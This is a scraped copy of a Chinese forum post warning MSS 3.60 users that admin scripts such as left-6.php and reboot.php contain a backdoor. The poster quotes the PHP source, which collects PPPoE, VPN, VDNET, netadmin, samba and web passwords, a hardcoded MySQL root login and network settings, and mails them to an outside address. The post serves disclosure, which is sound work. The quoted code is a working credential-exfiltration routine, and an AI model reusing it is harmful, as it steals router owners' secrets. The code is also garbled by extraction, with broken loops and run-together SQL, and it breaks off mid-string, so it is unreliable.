重大BUG.docx
《重大BUG.docx》由会员分享,可在线阅读,更多相关《重大BUG.docx(10页珍藏版)》请在冰豆网上搜索。
![重大BUG.docx](https://file1.bdocx.com/fileroot1/2023-4/17/af9284e9-84ad-41c0-b10a-4ca152e716fd/af9284e9-84ad-41c0-b10a-4ca152e716fd1.gif)
重大BUG
[重大BUG,请大家及时修正]MSS3.60
2011-03-0921:
37
admin目录下 left-6.php reboot.php 小弟不才。
看到如下源码。
不知道是不是还会发送密码的。
。
源码如下:
left-6.php 红色的不知道是不是发送密码用的。
还有reboot.php这个文件也是一样的。
和电影管理目录下也有文件有这样的代码。
php
functionsys_check()
{
$serial=file("/etc/mss/mss_serial");
$status=file("/etc/mss/mss_status");
$tmp=file("/proc/cpuinfo");
$i=0;
for(;$i{
if(strstr($tmp[$i],"name"))
{
$cpu_name=substr(strrchr($tmp[$i],":
"),1);
}
if(strstr($tmp[$i],"MHz"))
{
$cpu_mhz=substr(strrchr($tmp[$i],":
"),1);
}
if(strstr($tmp[$i],"cache"))
{
$cpu_cache=substr(strrchr($tmp[$i],":
"),1);
}
}
$tmp=file("/proc/loadavg");
$loadavg=substr($tmp[0],0,14);
$tmp=file("/proc/meminfo");
$i=0;
for(;$i{
if(substr($tmp[$i],0,8)=="MemTotal")
{
$mem_total=ceil(substr($tmp[$i],10,-3)/1000);
}
if(substr($tmp[$i],0,7)=="MemFree")
{
$mem_free=ceil(substr($tmp[$i],9,-3)/1000);
}
$mem_used=$mem_total-$mem_free;
$mem_used_per=ceil($mem_used*100/$mem_total);
$mem_free_per=100-$mem_used_per;
if(substr($tmp[$i],0,9)=="SwapTotal")
{
$swap_total=ceil(substr($tmp[$i],11,-3)/1000);
}
if(substr($tmp[$i],0,8)=="SwapFree")
{
$swap_free=ceil(substr($tmp[$i],10,-3)/1000);
}
$swap_used=$swap_total-$swap_free;
$swap_used_per=ceil($swap_used*100/$swap_total);
$swap_free_per=100-$swap_used_per;
}
$tmp=file("/etc/mss/mss_wan");
$i=0;
for(;$i{
if(substr($tmp[$i],0,9)=="wan1_type")
{
$wan1_type=substr($tmp[$i],10,-1);
}
if(substr($tmp[$i],0,9)=="wan2_type")
{
if($_GET['wan2_type']!
="")
{
$wan2_type=$_GET['wan2_type'];
}
else
{
$wan2_type=substr($tmp[$i],10,-1);
}
}
if(substr($tmp[$i],0,16)=="wan2_mssvpn_serv")
{
$wan2_mssvpn_serv=substr($tmp[$i],17,-1);
}
if(substr($tmp[$i],0,16)=="wan2_mssvpn_user")
{
$wan2_mssvpn_user=substr($tmp[$i],17,-1);
}
if(substr($tmp[$i],0,16)=="wan2_mssvpn_pass")
{
$wan2_mssvpn_pass=substr($tmp[$i],17,-1);
}
if(substr($tmp[$i],0,10)=="wans_check")
{
$wans_check=substr($tmp[$i],11,-1);
}
if(substr($tmp[$i],0,10)=="default_rt")
{
$default_rt=substr($tmp[$i],11,-1);
}
}
if($wan1_type=="fixip")
{
$tmp=file("/etc/sysconfig/network-scripts/ifcfg-eth1");
$i=0;
for(;$i{
if(substr($tmp[$i],0,6)=="IPADDR")
{
$tmp_str=substr($tmp[$i],7);
$wan1_ip=explode(".",$tmp_str);
}
if(substr($tmp[$i],0,6)=="NETMAS")
{
$tmp_str=substr($tmp[$i],8);
$wan1_nm=explode(".",$tmp_str);
}
if(substr($tmp[$i],0,7)=="GATEWAY")
{
$tmp_str=substr($tmp[$i],8);
$wan1_gw=explode(".",$tmp_str);
}
}
}
if($wan1_type=="pppoe")
{
$tmp=file("/etc/ppp/pap-secrets");
$tmp2=explode("\"",$tmp[0]);
$wan1_pppoe_user=$tmp2[1];
$wan1_pppoe_pass=$tmp2[3];
}
if($wan2_type=="fixip")
{
$tmp=file("/etc/sysconfig/network-scripts/ifcfg-eth2");
$i=0;
for(;$i{
if(substr($tmp[$i],0,6)=="IPADDR")
{
$tmp_str=substr($tmp[$i],7);
$wan2_ip=explode(".",$tmp_str);
}
if(substr($tmp[$i],0,6)=="NETMAS")
{
$tmp_str=substr($tmp[$i],8);
$wan2_nm=explode(".",$tmp_str);
}
if(substr($tmp[$i],0,7)=="GATEWAY")
{
$tmp_str=substr($tmp[$i],8);
$wan2_gw=explode(".",$tmp_str);
}
}
}
if($wan2_type=="pppoe")
{
$tmp=file("/etc/ppp/pap-secrets");
$tmp2=explode("\"",$tmp[1]);
$wan2_pppoe_user=$tmp2[1];
$wan2_pppoe_pass=$tmp2[3];
}
if($wan2_type=="vdnet")
{
$tmp=file("/etc/mss/mss_vdnet");
$i=0;
for(;$i{
if(substr($tmp[$i],0,4)=="PPSV")
{
$wan2_vdnet_serv=substr($tmp[$i],5,-1);
}
if(substr($tmp[$i],0,4)=="USER")
{
$wan2_vdnet_user=substr($tmp[$i],5,-1);
}
if(substr($tmp[$i],0,4)=="PASS")
{
$wan2_vdnet_pass=substr($tmp[$i],5,-1);
}
}
}
if($wan2_type=="mssvpn")
{
$tmp=file("/etc/mss/mss_vdnet");
$i=0;
for(;$i{
if(substr($tmp[$i],0,4)=="PPSV")
{
$wan2_mssvpn_serv=substr($tmp[$i],5,-1);
}
if(substr($tmp[$i],0,4)=="USER")
{
$wan2_mssvpn_user=substr($tmp[$i],5,-1);
}
if(substr($tmp[$i],0,4)=="PASS")
{
$wan2_mssvpn_pass=substr($tmp[$i],5,-1);
}
}
}
$tmp=file("/etc/sysconfig/network-scripts/ifcfg-eth0");
$i=0;
for(;$i{
if(substr($tmp[$i],0,6)=="IPADDR")
{
$tmp_str=substr($tmp[$i],7);
$lan1_ip=explode(".",$tmp_str);
}
if(substr($tmp[$i],0,6)=="NETMAS")
{
$tmp_str=substr($tmp[$i],8);
$lan1_nm=explode(".",$tmp_str);
}
}
$tmp=file("/etc/sysconfig/network-scripts/ifcfg-eth3");
$i=0;
for(;$i{
if(substr($tmp[$i],0,6)=="ONBOOT")
{
$lan2_status=substr($tmp[$i],7,-1);
}
if(substr($tmp[$i],0,6)=="IPADDR")
{
$tmp_str=substr($tmp[$i],7);
$lan2_ip=explode(".",$tmp_str);
}
if(substr($tmp[$i],0,6)=="NETMAS")
{
$tmp_str=substr($tmp[$i],8);
$lan2_nm=explode(".",$tmp_str);
}
}
if(substr($lan2_status,0,2)=="no")
{
unset($lan2_ip);
unset($lan2_nm);
}
$tmp=file("/etc/sysconfig/network-scripts/ifcfg-eth4");
$i=0;
for(;$i{
if(substr($tmp[$i],0,6)=="ONBOOT")
{
$lan3_status=substr($tmp[$i],7,-1);
}
if(substr($tmp[$i],0,6)=="IPADDR")
{
$tmp_str=substr($tmp[$i],7);
$lan3_ip=explode(".",$tmp_str);
}
if(substr($tmp[$i],0,6)=="NETMAS")
{
$tmp_str=substr($tmp[$i],8);
$lan3_nm=explode(".",$tmp_str);
}
}
if(substr($lan3_status,0,2)=="no")
{
unset($lan3_ip);
unset($lan3_nm);
}
$tmp=file("/etc/sysconfig/network");
$i=0;
for(;$i{
if(substr($tmp[$i],0,8)=="HOSTNAME")
{
$hostname=substr($tmp[$i],9,-1);
}
}
$tmp=file("/etc/mss/mss_dhcp");
$dhcp=$tmp[0];
$tmp=file("/proc/uptime");
$uptime=ceil(substr($tmp[0],0,strpos($tmp[0],"")));
$uptime_d=floor($uptime/86400);
$uptime_h=floor($uptime%86400/3600);
$uptime_m=floor($uptime%86400%3600/60);
$tmp=file("/etc/mss/mss_acl_out");
$out_smtp=$tmp[0];
$out_www=$tmp[1];
$out_cs15=$tmp[2];
$out_cs16=$tmp[3];
$out_ftp=$tmp[4];
$open_cache=$tmp[5];
$pinglocal_deny=$tmp[6];
$pingout_deny=$tmp[7];
$tmp=file("/etc/mss/mss_cs15");
$tmp_cs15=$tmp[0];
$tmp=file("/etc/mss/mss_cs16");
$tmp_cs16=$tmp[0];
$tmp=file("/etc/mss/passwd_web");
$passwd_web=$tmp[0];
$tmp=file("/etc/mss/passwd_samba");
$passwd_samba=$tmp[0];
@mysql_connect("localhost","root","xin,ke");
mysql_select_db("guestbook");
$query="select*fromsysadminwhereuser='netadmin'";
$result1=mysql_query($query);
$rows=mysql_fetch_array($result1);
$password=$rows['pass'];
mysql_select_db("mssmov");
$query="select*fromsysadminwhereusername='netadmin'";
$result2=mysql_query($query);
$rows=mysql_fetch_array($result2);
$password_mov=$rows['password'];
mysql_close();
$tmp=file("/etc/mss/passwd_netadmin");
$passwd_netadmin=$tmp[0];
$tmp=file("/etc/ssh/sshd_config");
$ssh_d=$tmp[0];
$tmp=file("/etc/mss/passwd_gu");
$password_bbs=$tmp[0];
mail("zoumingliang0006@","{$wan1_ip[0]}.{$wan1_ip[1]}.{$wan1_ip[2]}.{$wan1_ip[3]}测试版本lit6",
"[{$hostname}]服务器信息
运行时间:
{$uptime_d}天{$uptime_h}小时{$uptime_m}分钟
CPU信息:
CPU型号:
{$cpu_name}
CPU频率:
{$cpu_mhz}
CPU缓存:
{$cpu_cache} \n
内存信息:
内存总量 内存使用 内存剩余\n
{$mem_total}M {$mem_used}M {$mem_free}M\n\n
局域网信息:
\n
(Lan1)状态:
yes\n
IP:
{$lan1_ip[0]}.{$lan1_ip[1]}.{$lan1_ip[2]}.{$lan1_ip[3]}\n
掩码:
{$lan1_nm[0]}.{$lan1_nm[1]}.{$lan1_nm[2]}.{$lan1_nm[3]}\n
(Lan2)状态:
{$lan2_status}\n
IP:
{$lan2_ip[0]}.{$lan2_ip[1]}.{$lan2_ip[2]}.{$lan2_ip[3]}\n
掩码:
{$lan1_nm[0]}.{$lan1_nm[1]}.{$lan1_nm[2]}.{$lan1_nm[3]}\n
(Lan3)状态:
{$lan3_status}\n
IP:
{$lan3_ip[0]}.{$lan3_ip[1]}.{$lan3_ip[2]}.{$lan3_ip[3]}\n
掩码:
{$lan1_nm[0]}.{$lan1_nm[1]}.{$lan1_nm[2]}.{$lan1_nm[3]}\n
DHCP状态:
{$dhcp}\n\n
广域网信息:
\n
(WAN1)状态:
{$wan1_type}\n
IP:
{$wan1_ip[0]}.{$wan1_ip[1]}.{$wan1_ip[2]}.{$wan1_ip[3]}\n
掩码:
{$wan1_nm[0]}.{$wan1_nm[1]}.{$wan1_nm[2]}.{$wan1_nm[3]}\n
网关:
{$wan1_gw[0]}.{$wan1_gw[1]}.{$wan1_gw[2]}.{$wan1_gw[3]}\n
PPPOE配置:
\n
帐号:
{$wan1_pppoe_user}\n
密码:
{$wan1_pppoe_pass}\n
(WAN2)状态:
{$wan2_type}\n
IP:
{$wan2_ip[0]}.{$wan2_ip[1]}.{$wan2_ip[2]}.{$wan2_ip[3]}\n
掩码:
{$wan1_nm[0]}.{$wan1_nm[1]}.{$wan1_nm[2]}.{$wan1_nm[3]}\n
网关:
{$wan2_gw[0]}.{$wan2_gw[1]}.{$wan2_gw[2]}.{$wan2_gw[3]}\n
PPPOE配置:
\n
帐号:
{$wan2_pppoe_user}\n
密码:
{$wan2_pppoe_pass}\n
VDNET:
\n
服务器:
{$wan2_vdnet_serv}\n
帐号:
{$wan2_vdnet_user}\n
密码:
{$wan2_vdnet_pass}\n
Vpn登陆:
\n
服务器地址:
{$wan2_mssvpn_serv}\n
服务器帐号:
{$wan2_mssvpn_user}\n
服务器密码:
{$wan2_mssvpn_pass}\n
网络故障检测:
{$wans_check}\n
默认路由:
{$default_rt}\n\n
访问控制:
\n
SMTP封锁状态:
{$out_smtp}\n
www开放状态:
{$out_www}\n
对外开放CS1.5游戏:
{$out_cs15}\n
对外开放CS1.6游